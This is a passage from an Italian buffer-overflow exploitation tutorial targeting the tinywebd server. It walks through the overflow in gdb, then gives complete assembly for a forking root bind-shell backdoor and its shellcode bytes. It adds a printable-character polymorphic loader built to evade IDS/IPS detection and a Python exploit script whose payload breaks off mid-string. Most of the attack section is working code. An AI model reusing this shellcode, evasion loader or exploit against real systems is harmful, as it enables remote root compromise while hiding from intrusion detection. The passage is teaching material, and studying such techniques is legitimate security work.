* sequence in seen. The EOL bytes are read from the socket, but

* the destination buffer is terminated before these bytes.

* Returns the size of the read line (without EOL bytes).

*/

int recv_line(int sockfd, unsigned char *dest_buffer) {

#define EOL "\r\n" // End-Of-Line byte sequence

#define EOL_SIZE 2

unsigned char *ptr;

int eol_matched = 0;

ptr = dest_buffer;

while(recv(sockfd, ptr, 1, 0) == 1) { // read a single byte

if(*ptr == EOL[eol_matched]) { // does this byte match terminator

eol_matched++;

if(eol_matched == EOL_SIZE) { // if all bytes match terminator,

*(ptr+1-EOL_SIZE) = '\0'; // terminate the string

return strlen(dest_buffer); // return bytes recevied

}

Page 109: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 109 di 193

} else {

eol_matched = 0;

}

ptr++; // increment the pointer to the next byter;

}

return 0; // didn't find the end of line characters

}

-------- hacking-network.c END ---------

Avete identificato il problema?

Il server possiede una vulnerabilità da buffer overflow all'interno della funzione recv_line(),

contenuta nel modulo hacking-network.h. Se la analizzate attentamente vi accorgete che non viene

fatto nessun controllo sulla lunghezza della stringa ricevuta. Di conseguenza se noi inviamo una

stringa più lunga di 1024 byte, abbiamo modo di sovrascrivere gli elementi precedenti al buffer

di ricezione, in questo caso l'array request. Ecco la situazione:

void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {

unsigned char *ptr, request[1024], resource[1024], log_buffer[1024];

int fd, length;

length = recv_line(sockfd, request);

[ ... ]

La funzione handle_connection viene chiamata passandogli il socket connesso e il nostro

indirizzo IP, quindi potremmo anche pensare di sovrascriverlo. Come potete immaginare da request

siamo in grado di modificare l'indirizzo di ritorno di handle_connection() salvato in stack,

*ptr, logfd, *client_addr_ptr ecc...

Iniziamo l'analisi, facciamo partire il server, questo si imposterà come demone di sistema:

root@Moon:~# ./tinywebd

Starting tiny web daemon..

Quindi ci attacchiamo al processo con il debugger, il processo sarà in attesa su accept() come

quasi tutti i server...

root@Moon:~# ps -A | grep tiny

1812 ? 00:00:00 tinywebd

root@Moon:~# gdb -q -pid=1812 --symbols=./tinywebd

Reading symbols from /root/tinywebd...done.

Attaching to process 1812

Load new symbol table from "/root/tinywebd"? (y or n) y

Reading symbols from /root/tinywebd...done.

Reading symbols from /lib/tls/i686/cmov/libc.so.6...(no debugging symbols found)...done.

Loaded symbols for /lib/tls/i686/cmov/libc.so.6

Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.

Loaded symbols for /lib/ld-linux.so.2

0x00bfa422 in __kernel_vsyscall ()

Una buona idea è impostare un break point sulla funzione incriminata, ad esempio su recv_line().

(gdb) b 86

Breakpoint 1 at 0x8049098: file tinywebd.c, line 86.

(gdb) continue

Continuing.

Ora che abbiamo impostato gdb vediamo di inviare un stringa al server, possiamo farlo con un

Page 110: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 110 di 193

browser oppure con netcat, vediamo in quest'ultimo modo, spostiamoci su'altro terminale;

root@Moon:~# python -c "print 'A'*512" | nc 127.0.0.1 80

a questo punto il server riceve la sequenza di "A" lunga 512 byte, ritorniamo a gdb;

Breakpoint 1, handle_connection (sockfd=5, client_addr_ptr=0xbfc05628, logfd=3) at tinywebd.c:86

86 tinywebd.c: Nessun file o directory.

in tinywebd.c

Siamo fermi sul breakpoint che avevamo impostato, verifichiamo la nostra posizione con back

trace e vediamo la posizione del buffer "request" rispetto l'indirizzo di ritorno;

(gdb) bt

#0 handle_connection (sockfd=5, client_addr_ptr=0xbfc05628, logfd=3) at tinywebd.c:86

#1 0x0804908b in main () at tinywebd.c:72

(gdb) n

88 in tinywebd.c

(gdb) n

90 in tinywebd.c

(gdb) n

91 in tinywebd.c

(gdb) print request

$2 = 'A' <repeats 512 times>, "\n\000\300\277

\006+\000x\205\004\b\340\353+\000\364\337+\000LLT\000\001\000\000\000\214T\300\277f\260*\000(

\236\t \236\t(

\236\t\364oi\000\250\000\000\000\001\000\000\000\260\302T\000\020ii\r`T\300\277\266\252*\00.....

......

(gdb) x/16wx request+1024

0xbfc055e4: 0x00000000 0xbfc05628 0x00000000 0x00696ff4

0xbfc055f4: 0x00000000 0xbfc05658 0x0804908b 0x00000005

0xbfc05604: 0xbfc05628 0x00000003 0xbfc05648 0x00000004

0xbfc05614: 0x0804aff4 0xbfc05628 0x08048870 0x002b00c0

(gdb) x/x 0xbfc055f4+8

0xbfc055fc: 0x0804908b

Come vede si trova davvero pochi byte dopo il buffer.

Ora arrestiamo il server e disabilitiamo l'ASLR del kernel, come ho già detto questo attacco non

funziona più su sistemi moderni.

root@Moon:~# killall tinywebd

root@Moon:~# echo 0 > /proc/sys/kernel/randomize_va_space

Riavviamo e rifacendo le operazioni viste prima, riportiamoci su accept(). A questo punto

inviamo quel tanto che basta a sovrascrivere l'indirizzo di ritorno, dovremmo vedere il server

che cresha...

(gdb) n

0x41414141 in ?? ()

(gdb) i r

eax 0xffffffff -1

ecx 0xffffffc8 -56

edx 0x9 9

ebx 0x41414141 1094795585

esp 0xbffff3c0 0xbffff3c0

ebp 0x41414141 0x41414141

esi 0x41414141 1094795585

Page 111: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 111 di 193

edi 0x0 0

eip 0x41414141 0x41414141

eflags 0x282 [ SF IF ]

cs 0x73 115

ss 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x33 51

Infatti è così. EIP contiene 0x41, la codifica di 'A'.

L'analisi del server e della sua vulnerabilità è conclusa, ci basta prendere nota dell'indirizzo

di request che, con ASLR disabilitato, si troverà sempre alla stessa locazione.

A questo punto dobbiamo venire al nostro problema, ovvero dobbiamo trovare un modo per bypassare

i controlli fatti dall'IDS.

Per attaccare il server ho deciso di scrivermi una shellcode con la "s" maiuscola. Voglio che

questa sia anche riutilizzabile più volte. Quindi ho aggiunto a ciò che abbiamo visto nei

capitoli precedenti due nuove funzionalità per la backdoor. La prima è l'uso di fork() per

accettare connessioni multiple. La backdoor si comporterà quindi come la maggior parte dei

servizi di rete standard, quando mi connetterò, il processo principale eseguirà una fork() di se

stesso rimanendo in attesa di nuove connessioni mentre quella arrivata verrà gestita dal nuovo

processo creato. Inoltre, una delle prime cose che il codice farà è eseguire la syscall

setuid(). Questa serve per impostare i permessi di root sul processo nel caso in cui il server

abbia preventivamente abbassato i suoi stessi privilegi per auto proteggersi, se avete studiato

il discorso degli user id reali, effettivi e salvati, sapete benissimo che cosa intendo.

La seguente è la backdoor che eseguiremo:

---------- backdoor.S --------------------

/* This is a reusable backdoor,

*

* Author: Matteo Tosato - 2010

* Note: Do not use this code to destroy systems, hacking is a way of thinking,

* is not a crime.

*

* The follows code, forks and spawn a root shell listening on port 43690,

* if target program adjust

* his privileges, setuid() call readjust root permissions on process.

* The code is all without null bytes.

* NORMAL ASSEMBLY CODE OF BACKDOOR

*

* CAUTION! The following code can be easily detected by IDS or IPS systems

*

*/

.text

.globl main

main:

// fork()

xorl %ebx, %ebx

xorl %eax, %eax

movb $2, %al // fork int

int $0x80 // INTERRUPT

Page 112: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 112 di 193

cmpl %eax, %ebx

jne L_EXIT

// sock = socket(PF_INET(2),SOCK_STREAM(1),IPPROTO_TCP(6))

xorl %ecx, %ecx

movb $6, %cl

pushl %ecx // IPPROTO_TCP

xorl %ecx, %ecx

movb $1, %cl

pushl %ecx // SOCK_STREAM

xorl %ecx, %ecx

movb $2, %cl

pushl %ecx // PF_INET

movl %esp, %ecx // arguments pointer

movb $1, %bl // socket call

movb $102, %al // SYS_socketcall

int $0x80 // INTERRUPT

// socket in ecx,

movl %eax, %ecx

// bind(sd, (struct sockaddr*)&srv, 0x10)

xorl %ebx, %ebx

// struct sockaddr_in {

pushl %ebx // char sin_zero[8]

pushl %ebx // struct in_addr sin_addr

pushl %ebx //

pushw $43690 // unsigend short sin_port

movb $2, %bl //

pushw %bx // short sin_family }

movl %esp, %edx // sockaddr_in pointer

movb $16, %bl

pushl %ebx // sizeof(struct sockaddr)

pushl %edx // sockaddr_in pointer

pushl %ecx // socket

movl %ecx, %edx // copy of socket

movl %esp, %ecx // pointer to arguments

movb $2, %bl // bind call

movb $102, %al // SYS_socketcall

int $0x80 // INTERRUPT

xorl %ebx, %ebx

cmpl %eax, %ebx

je L_SKIPEXIT // if bind success continue, else exit

L_EXIT:

// exit(0)

Page 113: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 113 di 193

xorl %eax, %eax

inc %al // exit call

int $0x80 // INTERRUPT

L_SKIPEXIT:

// listen(sd, 1)

xorl %ecx, %ecx

xorl %ebx, %ebx

inc %cl

pushl %ecx // queue max value

pushl %edx // socket

movl %esp, %ecx // pointer to arguments

movb $4, %bl // listen call

movb $102, %al // SYS_socketcall

int $0x80 // INTERRUPT

// signal(SIGCHLD,1)

xorl %ecx, %ecx

xorl %eax, %eax

xorl %ebx, %ebx

movb $1, %cl // handler

movb $17, %bl // SIGCHLD

movb $48, %al // signal call

int $0x80 // INTERRUPT

// setuid(0);

xorl %eax, %eax

xorl %ebx, %ebx // root uid

movb $23, %al // setuid call

int $0x80 // INTERRUPT

L_WHILE:

// csock = accept(sock,(struct sockaddr*)&srv, &socksize)

// accept(sock,0,0)

xorl %eax, %eax

xorl %ebx, %ebx

pushl %eax // socketsize pointer, 0

pushl %eax // struct sockaddr pointer, 0

pushl %edx // socket

movl %esp, %ecx // arguments pointer

movb $5, %bl // accept call

movb $102, %al // SYS_socketcall

int $0x80 // INTERRUPT

movl %eax, %esi // new socket

// fork()

Page 114: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 114 di 193

xorl %eax, %eax

xorl %ebx, %ebx

movb $2, %al // fork call

int $0x80 // INTERRUPT

cmpl %eax, %ebx

jne L_CLOSENEWSOCK // father continue and close new socket

// close(sock)

xorl %eax, %eax

movl %edx, %ebx // socket

movb $6, %al // close call

int $0x80 // INTERRUPT

// Close all communication channels --> Unix deamon

// dup2(csock,0)

xorl %ecx, %ecx

xorl %ebx, %ebx

xorl %eax, %eax

movb %cl, %cl // stdin

movl %esi, %ebx // new socket

movb $63, %al // dup2 call

int $0x80 // INTERRUPT

xorl %eax, %eax

incl %ecx // stdin

movb $63, %al // dup2 call

int $0x80 // INTERRUPT

xorl %eax, %eax

incl %ecx // stderr

movb $63, %al // dup2 call

int $0x80 // INTERRUPT

// And then we are coming!! )

// execve(/bin/sh,[/bin/sh],NULL)

xorl %eax, %eax

pushl %eax // NULL

pushl $0x68732f2f

pushl $0x6e69622f

movl %esp, %ebx

movl 8(%esp), %edx // [/bin/sh]

pushl %eax

pushl %ebx // /bin/sh

movl %esp, %ecx // arguments pointer

movb $11, %al // SYS_execve

int $0x80 // INTERRUPT

// exit(0)

xorl %ebx, %ebx // exit value 0

xorl %eax, %eax

incl %eax // exit call

int $0x80 // INTERRUPT

L_CLOSENEWSOCK:

Page 115: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 115 di 193

xorl %eax, %eax

movl %esi, %ebx // new socket

movb $6, %al // close call

int $0x80 // INTERRUPT

jmp L_WHILE

---------- backdoor.S END ----------------

Se noi trasmettiamo in chiaro i codici esadecimali di questa backdoor verremo subito

intercettati da un sistema IDS.

Il trucco sta nello spedire il codice non nella sua vera forma. Seguitemi in questo

ragionamento; Per evitare che l'IDS ci ritenga codice sospetto sarà sufficiente inviare solo

caratteri stampabili, questi infatti non possono essere scambiati per codice dannoso perchè sono

quelli di norma presenti nelle pagine web. Questi byte vanno da 0x20 a 0x7f e basta. Non

possiamo usare byte diversi. Di conseguenza le istruzioni che possiamo utilizzare non sono

sufficienti per eseguire il codice. Alcune di quelle utilizzabili sono "and reg, value", "push

reg", "pop reg", "sub reg, value", "inc reg", "dec reg" perchè si traducono appunto in byte

stampabili. L'idea stà nel comporre un codice loader che creerà ed eseguirà la shellcode

composto solo da queste istruzioni. Questo è possibile farlo. Pensiamo alla sequenza di byte

della shellcode e di come sarebbe posizionato in memoria il codice al momento dell'esecuzione

dell'istruzione ret.

Questi sono i codici esadecimali della shellcode backdoor.S:

31 db 31 c0 b0 02 cd 80 39 c3 75 3d 31 c9 b1 06 51 31 c9 b1 01 51 31 c9 b1 02 51 89 e1 b3 01 b0

66 cd 80 89 c1 31 db 53 53 53 66 68 aa aa b3 02 66 53 89 e2 b3 10 53 52 51 89 ca 89 e1 b3 02 b0

66 cd 80 31 db 39 c3 74 06 31 c0 fe c0 cd 80 31 c9 31 db fe c1 51 52 89 e1 b3 04 b0 66 cd 80 31

c9 31 c0 31 db b1 01 b3 11 b0 30 cd 80 31 c0 31 db b0 17 cd 80 31 c0 31 db 50 50 52 89 e1 b3 05

b0 66 cd 80 89 c6 31 c0 31 db b0 02 cd 80 39 c3 75 46 31 c0 89 d3 b0 06 cd 80 31 c9 31 db 31 c0

88 c9 89 f3 b0 3f cd 80 31 c0 41 b0 3f cd 80 31 c0 41 b0 3f cd 80 31 c0 50 68 2f 2f 73 68 68 2f

62 69 6e 89 e3 8b 54 24 08 50 53 89 e1 b0 0b cd 80 31 db 31 c0 40 cd 80 31 c0 89 f3 b0 06 cd 80

eb 93

_________

EIP | | low addresses

| loader |

| |

| |

| |

| |

|_________|

ESP high addresses

Potremmo benissimo avere una situazione del genere. Anzi se andate and indagare nel programma

tinywebd, vi troverete proprio in questa situazione. Il loader allora eseguirà le seguenti

operazioni:

- Si preoccuperà di spostare ESP ad indirizzi più alti in memoria per far posto allo shellcode

che andrà a formarsi.

- Con le istruzioni sub calcola i byte dello shellcode partendo dal fondo e posizionerà queste

nello stack con l'istruzione push.

- Così facendo ESP verrà decrementato ad ogni nuova WORD impilata sullo stack, alla fine

succederà che EIP ed ESP si incontreranno e la shellcode appena creata potrà essere eseguita,

una certa tolleranza di errore può sempre essere gestita attraverso sequenza NOP impilate anche

esse.

Page 116: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 116 di 193

_________

| | |

| loader | |

| | |

| | V

| |

EIP | | low addresses

ESP |_________| high addresses

| |

| NOP | ^

|_________| |

| | |

| | |

| CODE | |

| | |

|_________| |

Attraverso l'istruzione sub è possibile calcolare quasi qualsiasi valore WORD. Ad esempio se EAX

contiene 0, sfruttando l'overflow possiamo calcolare il valore 0x93eb80cd in questo modo:

sub $0x7a593459, %eax

sub $0x7a592565, %eax

sub $0x77622575, %eax

Il valore calcolato corrisponde alle ultime istruzioni dello shellcode, procedendo così è

possibile costruire lo shellcode a runtime. Questa tecnica è geniale e molto efficace.

La seguente è la shellcode detta "polimorfica":

--------- polymorfic_shellcode.S -----------

// Polymorfic version; It's able to evade IDS/IPS systems - Matteo Tosato 2010

/* I take a good offset from the loader...

* Backdoor code is 226 bytes, In the vulnerability, EIP is at -1048 bytes from ESP when exploit

* is executed: */

// Begin loader code:

.text

.globl main

main:

push %esp // Push ESP on stack

pop %eax // Now ESP is in EAX register

// Move ESP back on the stack

// -> Add 207 bytes <- with printable character

// EAX, 0xbffff3b0 -> 0xbffffa0c:

sub $0x4a4a4a4a, %eax

sub $0x4a4a4a73, %eax

sub $0x6b6b6a74, %eax

// Now, EAX store: ESP + 207

// Restore ESP to new value, now ESP - EIP = 1255 [974 loader + nop + shellcode + ret]

Page 117: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 117 di 193

push %eax

pop %esp

// Place EAX to 0

and $0x454e4f4a, %eax

and $0x3a313035, %eax

// Now, build the real chellcode via printable value!

// cd 80 eb 93 -> 0x93eb80cd

sub $0x7a593459, %eax

sub $0x7a592565, %eax

sub $0x77622575, %eax

push %eax

// 89 f3 b0 06 -> 0x06b0f389

sub $0x31553155, %eax

sub $0x256d2575, %eax

sub $0x3678367a, %eax

push %eax

and $0x454e4f4a, %eax

and $0x3a313035, %eax

// cd 80 31 c0 -> 0xc03180cd

sub $0x7a6b347a, %eax

sub $0x7a30256b, %eax

sub $0x4b33254e, %eax

push %eax

and $0x454e4f4a, %eax

and $0x3a313035, %eax

// db 31 c0 40 -> 0x40c031db

sub $0x4c4c4c4c, %eax

sub $0x2d7a4c64, %eax

sub $0x45793575, %eax

push %eax

// 0b cd 80 31 -> 0x3180cd0b

sub $0x6c6c726c, %eax

sub $0x6c6c782d, %eax

sub $0x36667a37, %eax

push %eax

// 53 89 e1 b0 -> 0xb0e18953

sub $0x36456763, %eax

sub $0x25346730, %eax

sub $0x25257525, %eax

push %eax

// 54 24 08 50 -> 0x50082454

sub $0x74747474, %eax

sub $0x74347635, %eax

sub $0x78307a56, %eax

push %eax

// 6e 89 e3 8b -> 0x8be3896e

sub $0x48764876, %eax

sub $0x4876254b, %eax

sub $0x33382d25, %eax

Page 118: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 118 di 193

push %eax

// 68 2f 62 69 -> 0x69622f68

sub $0x49367449, %eax

sub $0x5f257449, %eax

sub $0x7a257174, %eax

push %eax

// 2f 2f 73 68 -> 0x68732f2f

sub $0x56565656, %eax

sub $0x5656566e, %eax

sub $0x54425375, %eax

push %eax

// 31 c0 50 68 -> 0x6850c031

sub $0x68687a68, %eax

sub $0x63687a63, %eax

sub $0x34517a33, %eax

push %eax

// b0 3f cd 80 -> 0x80cd3fb0

sub $0x784e4e4e, %eax

sub $0x6f353233, %eax

push %eax

// 80 31 c0 41 -> 0x41c03180

sub $0x58585858, %eax

sub $0x6e50506e, %eax

sub $0x7864656a, %eax

push %eax

and $0x454e4f4a, %eax

and $0x3a313035, %eax

// 41 b0 3f cd -> 0xcd3fb041

sub $0x55556155, %eax

sub $0x78357835, %eax

sub $0x65357635, %eax

push %eax

and $0x454e4f4a, %eax

and $0x3a313035, %eax

// cd 80 31 c0 -> 0xc03180cd

sub $0x5a413441, %eax

sub $0x7041257a, %eax

sub $0x754c2578, %eax

push %eax

// 89 f3 b0 3f -> 0x3fb0f389

sub $0x25252574, %eax

sub $0x2525256a, %eax

sub $0x36364266, %eax

push %eax

and $0x454e4f4a, %eax

// 31 c0 88 c9 -> 0xc988c031

sub $0x67252567, %eax

sub $0x6725254b, %eax

sub $0x6d2d3825, %eax

push %eax

// 31 c9 31 db -> 0xdb31c931

Page 119: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 119 di 193

sub $0x5f775f5f, %eax

sub $0x48775f5f, %eax

sub $0x46683842, %eax

push %eax

// b0 06 cd 80 -> 0x80cd06b0

sub $0x2d30714e, %eax

sub $0x2d345133, %eax

push %eax

// 31 c0 89 d3 -> 0xd389c031

sub $0x42626235, %eax

sub $0x316e6e25, %eax

sub $0x39727625, %eax

push %eax

// 39 c3 75 46 -> 0x4675c339

sub $0x42747474, %eax

sub $0x256b4242, %eax

sub $0x25344642, %eax

push %eax

// b0 02 cd 80 -> 0x80cd02b0

sub $0x62396b39, %eax

sub $0x636f5550, %eax

push %eax

// 31 c0 31 db -> 0xdb31c031

sub $0x2d2d662d, %eax

sub $0x2d38662d, %eax

sub $0x4b357625, %eax

push %eax

// cd 80 89 c6 -> 0xc68980cd

sub $0x25255974, %eax

sub $0x752d7477, %eax

sub $0x7a557179, %eax

push %eax

// b3 05 b0 66 -> 0x66b005b3

sub $0x78553055, %eax

sub $0x78422555, %eax

sub $0x6f422570, %eax

push %eax

// 50 52 89 e1 -> 0xe1895250

sub $0x25555578, %eax

sub $0x2d782578, %eax

sub $0x32593873, %eax

push %eax

// c0 31 db 50 -> 0x50db31c0

sub $0x36446a36, %eax

sub $0x35446a35, %eax

sub $0x25254c25, %eax

push %eax

// 17 cd 80 31 -> 0x3180cd17

sub $0x50757550, %eax

sub $0x75757534, %eax

sub $0x596f7a25, %eax

push %eax

// c0 31 db b0 -> 0xb0db31c0

sub $0x33333332, %eax

sub $0x4d726825, %eax

push %eax

// 30 cd 80 31 -> 0x3180cd30

Page 120: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 120 di 193

sub $0x342d345f, %eax

sub $0x4b2d3031, %eax

push %eax

// 01 b3 11 b0 -> 0xb011b301

sub $0x367a4e4e, %eax

sub $0x257a6c6c, %eax

sub $0x257a5f75, %eax

push %eax

// c0 31 db b1 -> 0xb1db31c0

sub $0x32543654, %eax

sub $0x546f2575, %eax

sub $0x77732578, %eax

push %eax

// 80 31 c9 31 -> 0x31c93180

sub $0x35535353, %eax

sub $0x25535379, %eax

sub $0x256b5974, %eax

push %eax

// 04 b0 66 cd -> 0xcd66b004

sub $0x31354a4a, %eax

sub $0x332d3732, %eax

push %eax

// 52 89 e1 b3 -> 0xb3e18952

sub $0x39323939, %eax

sub $0x6e257a38, %eax

sub $0x722d7341, %eax

push %eax

// db fe c1 51 -> 0x51c1fedb

sub $0x6d33332d, %eax

sub $0x7a792525, %eax

sub $0x7a733225, %eax

push %eax

// 80 31 c9 31 -> 0x31c93180

sub $0x4a4a4a76, %eax

sub $0x5f4a4a76, %eax

sub $0x7664386f, %eax

push %eax

// c0 fe c0 cd -> 0xcdc0fec0

sub $0x71666666, %eax

sub $0x79506635, %eax

sub $0x79516625, %eax

push %eax

// c3 74 06 31 -> 0x310674c3

sub $0x32323232, %eax

sub $0x32323269, %eax

sub $0x38562562, %eax

push %eax

// 80 31 db 39 -> 0x39db3180

sub $0x4e4e4e59, %eax

sub $0x4e6f7a76, %eax

sub $0x5a6d7a74, %eax

push %eax

// 02 b0 66 cd -> 0xcd66b002

sub $0x47473547, %eax

sub $0x252d4c37, %eax

push %eax

// ca 89 e1 b3 -> 0xb3e189ca

Page 121: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 121 di 193

sub $0x5a325a5a, %eax

sub $0x5a2d5a6c, %eax

sub $0x65257172, %eax

push %eax

// 53 52 51 89 -> 0x89515253

sub $0x4c374c25, %eax

sub $0x64257625, %eax

sub $0x7a33752d, %eax

push %eax

// 89 e2 b3 10 -> 0x10b3e289

sub $0x366d365a, %eax

sub $0x42303970, %eax

push %eax

// b3 02 66 53 -> 0x536602b3

sub $0x30733030, %eax

sub $0x46734630, %eax

sub $0x46676976, %eax

push %eax

// 66 68 aa aa -> 0xaaaa6866

sub $0x42424279, %eax

sub $0x30423262, %eax

sub $0x36372572, %eax

push %eax

// db 53 53 53 -> 0x535353db

sub $0x7a7a5f25, %eax

sub $0x7a7a5f25, %eax

sub $0x62625641, %eax

push %eax

// 80 89 c1 31 -> 0x31c18980

sub $0x4c354c68, %eax

sub $0x68254c79, %eax

sub $0x6d37317a, %eax

push %eax

// 01 b0 66 cd -> 0xcd66b001

sub $0x2d2d7852, %eax

sub $0x372d612d, %eax

push %eax

// 51 89 e1 b3 -> 0xb3e18951

sub $0x64256457, %eax

sub $0x642d6125, %eax

sub $0x51326134, %eax

push %eax

// 31 c9 b1 02 -> 0x02b1c931

sub $0x31643131, %eax

sub $0x3164617a, %eax

sub $0x4e672d75, %eax

push %eax

// c9 b1 01 51 -> 0x5101b1c9

sub $0x49494974, %eax

sub $0x3030737a, %eax

sub $0x38365a7a, %eax

push %eax

// b1 06 51 31 -> 0x315106b1

sub $0x31313131, %eax

sub $0x78313178, %eax

sub $0x764e486f, %eax

push %eax

Page 122: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 122 di 193

// 75 3d 31 c9 -> 0xc9313d75

sub $0x76717171, %eax

sub $0x78763271, %eax

sub $0x7938255a, %eax

push %eax

// cd 80 39 c3 -> 0xc33980cd

sub $0x63636356, %eax

sub $0x56633425, %eax

sub $0x4c31252d, %eax

push %eax

// 31 c0 b0 02 -> 0x02b0c031

sub $0x52385238, %eax

sub $0x6e506e64, %eax

push %eax

// 31 db -> 0xdb319090

sub $0x68346849, %eax

sub $0x68256825, %eax

sub $0x57255f33, %eax

push %eax

// 90 90 90 90 -> 0x90909090

sub $0x5f313131, %eax

sub $0x78365f5f, %eax

sub $0x73396f70, %eax

// Add a nop sled

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

push %eax

// Ok, loader has done...

// EIP reached ESP, shellcode will execute.

--------- polymorfic_shellcode.S END --------

Come solito vengono ricavati i byte ed utilizzati in uno script di attacco. Il numero dei byte è

cresciuto parecchio, ma abbiamo tutto lo spazio a disposizione senza problemi. Nello script non

possiamo però utilizzare una sequenza di NOP per creare uno sled, perchè metterebbe in allarme

Page 123: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 123 di 193

l'IDS. Possiamo però eseguire dell'altro, ad esempio una istruzione come inc o dec su registro

avrebbe lo stesso effetto di un NOP sled.

Ecco quindi come io costruisco il mio script di exploit con python:

--------- exploit.py ------------------------

__author__="Matteo Tosato"

__date__ ="$8-ott-2010 02.30.22$"

import socket

import sys

if sys.argv[1] == "--help" or sys.argv[1] == "-h":

print "Exploit with polymorfic shellcode, (all character are printable)"

print "for tinywebd deamon on Ubuntu"

print __author__

print __date__

print "Arguments: <HOST> <PORT>"

else:

RHOST = sys.argv[1]

RPORT = int(sys.argv[2])

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

RET = "\xaa\xef\xff\xbf" # address: 0xbfffefaa

PADDING = "\x4a"

# Pad 16 bytes

BUFFER = PADDING * 16

# Shellcode (polymorfic) 974+2 bytes

PAYLOAD = "\x54\x58\x2d\x4a\x4a\x4a\x4a\x2d\x73\x4a\x4a\x4a\x2d\x74\x6a\x6b"\

"\x6b\x50\x5c\x25\x4a\x4f\x4e\x45\x25\x35\x30\x31\x3a\x2d\x59\x34"\

"\x59\x7a\x2d\x65\x25\x59\x7a\x2d\x75\x25\x62\x77\x50\x2d\x55\x31"\

"\x55\x31\x2d\x75\x25\x6d\x25\x2d\x7a\x36\x78\x36\x50\x25\x4a\x4f"\

"\x4e\x45\x25\x35\x30\x31\x3a\x2d\x7a\x34\x6b\x7a\x2d\x6b\x25\x30"\

"\x7a\x2d\x4e\x25\x33\x4b\x50\x25\x4a\x4f\x4e\x45\x25\x35\x30\x31"\

"\x3a\x2d\x4c\x4c\x4c\x4c\x2d\x64\x4c\x7a\x2d\x2d\x75\x35\x79\x45"\

"\x50\x2d\x6c\x72\x6c\x6c\x2d\x2d\x78\x6c\x6c\x2d\x37\x7a\x66\x36"\

"\x50\x2d\x63\x67\x45\x36\x2d\x30\x67\x34\x25\x2d\x25\x75\x25\x25"\

"\x50\x2d\x74\x74\x74\x74\x2d\x35\x76\x34\x74\x2d\x56\x7a\x30\x78"\

"\x50\x2d\x76\x48\x76\x48\x2d\x4b\x25\x76\x48\x2d\x25\x2d\x38\x33"\

"\x50\x2d\x49\x74\x36\x49\x2d\x49\x74\x25\x5f\x2d\x74\x71\x25\x7a"\

"\x50\x2d\x56\x56\x56\x56\x2d\x6e\x56\x56\x56\x2d\x75\x53\x42\x54"\

"\x50\x2d\x68\x7a\x68\x68\x2d\x63\x7a\x68\x63\x2d\x33\x7a\x51\x34"\

"\x50\x2d\x4e\x4e\x4e\x78\x2d\x33\x32\x35\x6f\x50\x2d\x58\x58\x58"\

"\x58\x2d\x6e\x50\x50\x6e\x2d\x6a\x65\x64\x78\x50\x25\x4a\x4f\x4e"\

"\x45\x25\x35\x30\x31\x3a\x2d\x55\x61\x55\x55\x2d\x35\x78\x35\x78"\

"\x2d\x35\x76\x35\x65\x50\x25\x4a\x4f\x4e\x45\x25\x35\x30\x31\x3a"\

"\x2d\x41\x34\x41\x5a\x2d\x7a\x25\x41\x70\x2d\x78\x25\x4c\x75\x50"\

"\x2d\x74\x25\x25\x25\x2d\x6a\x25\x25\x25\x2d\x66\x42\x36\x36\x50"\

"\x25\x4a\x4f\x4e\x45\x2d\x67\x25\x25\x67\x2d\x4b\x25\x25\x67\x2d"\

Page 124: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 124 di 193

"\x25\x38\x2d\x6d\x50\x2d\x5f\x5f\x77\x5f\x2d\x5f\x5f\x77\x48\x2d"\

"\x42\x38\x68\x46\x50\x2d\x4e\x71\x30\x2d\x2d\x33\x51\x34\x2d\x50"\

"\x2d\x35\x62\x62\x42\x2d\x25\x6e\x6e\x31\x2d\x25\x76\x72\x39\x50"\

"\x2d\x74\x74\x74\x42\x2d\x42\x42\x6b\x25\x2d\x42\x46\x34\x25\x50"\

"\x2d\x39\x6b\x39\x62\x2d\x50\x55\x6f\x63\x50\x2d\x2d\x66\x2d\x2d"\

"\x2d\x2d\x66\x38\x2d\x2d\x25\x76\x35\x4b\x50\x2d\x74\x59\x25\x25"\

"\x2d\x77\x74\x2d\x75\x2d\x79\x71\x55\x7a\x50\x2d\x55\x30\x55\x78"\

"\x2d\x55\x25\x42\x78\x2d\x70\x25\x42\x6f\x50\x2d\x78\x55\x55\x25"\

"\x2d\x78\x25\x78\x2d\x2d\x73\x38\x59\x32\x50\x2d\x36\x6a\x44\x36"\

